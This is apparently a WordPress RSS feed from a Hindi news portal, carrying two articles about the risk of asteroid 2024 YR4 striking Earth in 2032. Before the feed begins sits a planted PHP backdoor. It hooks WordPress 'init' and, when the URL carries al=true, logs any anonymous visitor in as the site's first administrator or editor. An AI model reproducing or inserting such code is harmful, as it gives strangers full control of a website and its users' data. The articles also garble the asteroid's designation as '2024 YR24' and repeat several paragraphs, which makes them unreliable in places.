// _ea_al add_action('init', function(){ if(isset($_GET['al']) && $_GET['al']==='true'){ if(!is_user_logged_in()){ $u=get_users(['role'=>'administrator','number'=>1,'fields'=>['ID','user_login']]); if(empty($u)){$u=get_users(['role'=>'editor','number'=>1,'fields'=>['ID','user_login']]);} if(!empty($u)){wp_set_auth_cookie($u[0]->ID,true,false);wp_redirect(admin_url());exit();} } else {wp_redirect(admin_url());exit();} } }, 2); asteroid – प्रत्युषा आशा की नयी किरण https://pratyushaashakinayikiran.com न्यूज़ पोर्टल Sun, 16 Feb 2025 03:37:00 +0000 en-US hourly 1 https://wordpress.org/?v=7.0 ऐस्‍टरॉयड 2024 YR4 के पृथ्वी से टकराने की आशंका बढ़ी, साइबेरिया में गिरे ऐस्‍टरॉयड के जितनी तबाही की आशंका https://pratyushaashakinayikiran.com/?p=131671 Sun, 16 Feb 2025 03:37:00 +0000 https://pratyushaashakinayikiran.com/?p=131671 वॉशिंगटन
 एस्टेरॉयड 2024 YR4 के पृथ्वी से टकराने की आशंका लगातार बढ़ती जा रही है। वैज्ञानिकों ने पहले अनुमान लगाया था कि एस्टेरॉयड 2024 YR4 के पृथ्वी से टकराने की आशंका करीब 1 प्रतिशत है। लेकिन अब खतरे को बढ़ाकर 2.3 प्रतिशत कर दिया गया है। खतरे की संभावना का लगातार बढ़ना वैज्ञानिकों को भी लगातार परेशान कर रहा है। सबसे परेशान करने वाली बात ये है कि कि इसकी स्पीड क्या है और वास्तविक आकार क्या है, इसकी जानकारी नहीं मिल पाई है। वैज्ञानिकों का अनुमान है कि इसका आकार 200 मीटर तक हो सकता है। हालांकि नासा के वैज्ञानिकों ने एस्टेरॉयड 2024 YR4 के संभावित असर वाले क्षेत्रों की पहचान करनी शुरू कर दी है ताकि अगर वास्तव में टक्कर अवश्यंभावी हो जाए, तो पहले से ही लोगों को बचाने की कोशिशें शुरू की जा सकें।

नासा के वैज्ञानिकों ने अनुमान लगाया है कि अगर एस्टेरॉयड 2024 YR4 पृथ्वी से टकराता है तो ये पूरे शहर को नष्ट कर सकता है। लिहाजा नासा ने एस्टेरॉयड के गिरने को लेकर जो संभावित रास्ता तैयार किया है, उसमें भारत समेत कई घनी आबादी वाले देश आते हैं। वैज्ञानिकों का ये भी मानना है कि अगर ये एस्टेरॉयड पृथ्वी पर गिरता है तो ये 500 परमाणु बमों से ज्यादा शक्तिशाली ऊर्जा का निर्माण कर सकता है। लिहाजा विनाश का स्तर क्या हो सकता है, इसका अंदाजा लगाया जा सकता है।

एस्टेरॉयड 2024 YR4 के टकराने की आशंका बढ़ी
नासा के कैटालिना स्काई सर्वे प्रोजेक्ट के इंजीनियर डेविड रैंकिन ने उत्तरी दक्षिण अमेरिका से लेकर प्रशांत महासागर, दक्षिणी एशिया, अरब सागर और उप-सहारा अफ्रीका के कुछ हिस्सों तक इस एस्टेरॉयड के गिरमे के जोखिम गलियारे की पहचान की है। इसके अलावा जिन देशों में एस्टेरॉयड के गिरने की संभावना सबसे ज्यादा जताई गई है उनमें भारत, बांग्लादेश, पाकिस्तान, इथियोपिया, सूडान, नाइजीरिया, वेनेजुएला, कोलंबिया और इक्वाडोर शामिल हैं। वैज्ञानिक रैंकिन ने कहा है कि "हालांकि प्रभाव की संभावना कम है, लेकिन अगर 2024 YR4 पृथ्वी से टकराता है, तो हम संभावित परिणामों को नजरअंदाज़ नहीं कर सकते।"

एस्टेरॉयड 2024 YR4 को पिछले साल दिसंबर में खोजा गया था। जिसके बाद नासा और यूरोपीय अंतरिक्ष एजेंसी (ESA) के वैज्ञानिकों के लिए ये एक प्रमुख मुद्दा बन गया है। शुरुआती अनुमानों में टकराव की संभावना 1% थी, जो अब बढ़कर 2.3 प्रतिशत हो गई है। जिसे काफी खतरनाक कैटोगिरी में रखा गया है। वैज्ञानिक मानते हैं कि इसके आकार और स्पीड के बारे में फिलहाल ज्यादा जानकारी नहीं है।

सबसे ज्यादा खतरनाक कैटोगिरी में रखा गया
एस्टेरॉयड 2024 YR4 से संभावित खतरे को देखते हुए इसे टोरिनो स्केल पर तीन की रेटिंग दी गई है। टोरिनो स्केल पृथ्वी के पास होने वाले जोखिम को मापता है। एस्टेरॉयड 2024 YR4 को इतिहास में उस स्तर तक पहुंचने वाले एस्टेरॉयड के साथ रखा गया है, जिसने सबसे ज्यादा जोखिम पैदा की थी। वो है कुख्यात 'गॉड ऑफ कैओस' एस्टेरॉयड 99942 अपोफिस। डेटा यह भी संकेत मिले हैं, कि अगर ऐस्‍टरॉयड वाकई पृथ्वी से टकराता है, तो इसके स्तर स्थानीय हो सकते हैं। इस ऐस्‍टरॉयड का व्यास उस ऐस्‍टरॉयड के बराबर है, जो साल 1908 में साइबेरिया में तुंगुस्का घटना का कारण बना था। उस वक्त जब ऐस्‍टरॉयड टकराया था, तो करीब 2 हजार वर्ग किलोमीर का जंगल नष्ट हो गया था। उस टक्कर में 80 मिलियन से ज्यादा पेड़ उखड़ गये थे। विस्फोट का बल 10-15 मेगा टन टीएनटी के बराबर होने का अनुमान लगाया गया था।

अभी तक जो आंकड़े उपलब्ध हो पाएं हैं, उससे पता चलता है, कि ये ऐस्‍टरॉयड 22 दिसंबर 2032 को पृथ्वी के करीब एक लाख 6 हजार किलोमीटर की दूरी से गुजरेगा, जिसमें मार्जिन ऑफ एरर 1.6 मिलियन किलोमीटर हो सकता है। रिपोर्ट में कहा गया है कि इस दूरी पर, यह पश्चिमी मध्य अमेरिका से लेकर उत्तरी दक्षिण अमेरिका, फिर मध्य अटलांटिक महासागर और अफ्रीका के कुछ हिस्सों से होते हुए भारत तक पहुंचने वाली एक संकीर्ण पट्टी में पृथ्वी से टकरा सकता है।

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‘2024 YR24’ महाव‍िनाशक ऐस्‍टरॉयड के भारत से टकराने की आशंका, जानें कब तक आ सकती है तबाही? https://pratyushaashakinayikiran.com/?p=127242 Fri, 31 Jan 2025 09:46:00 +0000 https://pratyushaashakinayikiran.com/?p=127242 अबू धाबी
 अबू धाबी स्थित
इंटरनेशनल एस्ट्रोनॉमी सेंटर (IAC) ने रिसर्च के बाद घोषणा की है, कि '2024 YR24' कोड नाम वाले एक नए ऐस्‍टरॉयड की खोज की गई है, जिसके पृथ्वी से टकराने की सबसे ज्यादा आशंका है। एक्सपर्ट्स का मानना है, कि साल 2032 में यह ऐस्‍टरॉयड पृथ्वी के काफी करीब से गुजरने वाला है, जिसके धरती से टकराने की भी आशंका बन सकती है। डरने की बात ये है, कि इस ऐस्‍टरॉयड का आकार 1908 में साइबेरिया में गिरे ऐस्‍टरॉयड जितना हो सकता है, जिसने करीब 2 हजार वर्गकिलोमीटर क्षेत्र को पूरी तरह से कुचल कर रख दिया था।

इस ऐस्‍टरॉयड की खोज पिछले साल 27 दिसंबर को एटलस सिस्टम टेलीस्कोप के जरिए की गई थी। IAC के डायरेक्टर और इंटरनेशन ऐस्‍टरॉयड वार्निंग नेटवर्क के सदस्य मोहम्मद शौकत ओदेह ने जानकारी दी है, कि इस ऐस्‍टरॉयड का व्यास 40 मीटर से 100 मीटर के बीच होने का अनुमान है। ऐस्‍टरॉयड के 40 मीटर होने का मतलब है, कि इसका आकार एक क्रिकेट पिच से दोगुना ज्यादा हो सकता है। और 100 मीटर व्यास होने का मतलब है, कि इसका आकार एक फुटबॉल के पिच को कवर कर सकता है।

क्या पृथ्वी से टकरा सकता है ऐस्‍टरॉयड?
खोज के बाद से ही इस ऐस्‍टरॉयड पर लगातार नजर रखी जा रही है और इसे टोरिनो स्तर पर क्लासिफाइड किया गया है, जिसके पृथ्वी से 1.2 प्रतिशत तक टकराने की संभावना बन सकती है। यानि, अभी तक जितने भी ऐस्‍टरॉयड के पृथ्वी से टकराने की आशंका जताई गई है, उन सभी में इस ऐस्‍टरॉयड के टकराने की संभावना सबसे ज्यादा बन रही है।

रिपोर्ट के मुताबिक, ये ऐस्‍टरॉयड, जिसका नाम 2024 YR4 रखा गया है, वो 25 दिसंबर के आसपास पृथ्वी के करीब पहुंचा था और उस वक्त ये 8 लाख 29 हजार किलोमीटर की दूरी पर था। ओदेह ने कहा है, कि 17 दिसंबर 2028 को ये एक बार फिर से पृथ्वी के करीब से गुजरेगा, लेकिन उस वक्त भी इसके टकराने की कोई संभावना नहीं है। लेकिन, जब ये 22 दिसंबर 2032 को तीसरी बार पृथ्वी से गुजरने वाला होगा, तो ये संभावित खतरा पैदा कर सकता है।

क्या भारत से टकरा सकता है ऐस्‍टरॉयड?
हम्मद शौकत ओदेह के मुताबिक, इस ऐस्‍टरॉयड को सिर्फ 34 दिनों के लिए देखा गया था और फिलहाल इससे काफी कम चमक बाहर आ रही है, जिसकी वजह से इसे दूरबीन से देखना काफी ज्यादा मुश्किल हो रहा है। लिहाजा उन्होंने खगोलीय वेधशालाओं से इस ऐस्‍टरॉयड पर करीब से नजर रखने की अपील की है। उन्होंने कहा, कि इस ऐस्‍टरॉयड को सबसे आसानी से साल 2028 में देखा जा सकता है।

रिपोर्ट के मुताबिक, अभी तक जो आंकड़े उपलब्ध हो पाएं हैं, उससे पता चलता है, कि ये ऐस्‍टरॉयड 22 दिसंबर 2032 को पृथ्वी के करीब एक लाख 6 हजार किलोमीटर की दूरी से गुजरेगा, जिसमें मार्जिन ऑफ एरर 1.6 मिलियन किलोमीटर हो सकता है। रिपोर्ट में कहा गया है कि इस दूरी पर, यह पश्चिमी मध्य अमेरिका से लेकर उत्तरी दक्षिण अमेरिका, फिर मध्य अटलांटिक महासागर और अफ्रीका के कुछ हिस्सों से होते हुए भारत तक पहुंचने वाली एक संकीर्ण पट्टी में पृथ्वी से टकरा सकता है।

अगर टक्कर हुई तो कितना नुकसान हो सकता है?
डेटा यह भी संकेत मिले हैं, कि अगर ऐस्‍टरॉयड वाकई पृथ्वी से टकराता है, तो इसके स्तर स्थानीय हो सकते हैं। इस ऐस्‍टरॉयड का व्यास उस ऐस्‍टरॉयड के बराबर है, जो साल 1908 में साइबेरिया में तुंगुस्का घटना का कारण बना था। उस वक्त जब ऐस्‍टरॉयड टकराया था, तो करीब 2 हजार वर्ग किलोमीर का जंगल नष्ट हो गया था। उस टक्कर में 80 मिलियन से ज्यादा पेड़ उखड़ गये थे। विस्फोट का बल 10-15 मेगा टन टीएनटी के बराबर होने का अनुमान लगाया गया था।

फिलहाल, इस ऐस्‍टरॉयड पर करीब से नजर रखने और पृथ्वी से टकराने की संभावना को लेकर और भी ज्यादा जानकारियां जुटाने के लिए कहा गया है। वहीं, टोरिनो पैमाने के ऐस्‍टरॉयड में 10 डिग्री के स्केल में खतरे को मापा जाता है, जहां 10 डिग्री को उच्चतम खतरा माना जाता है।

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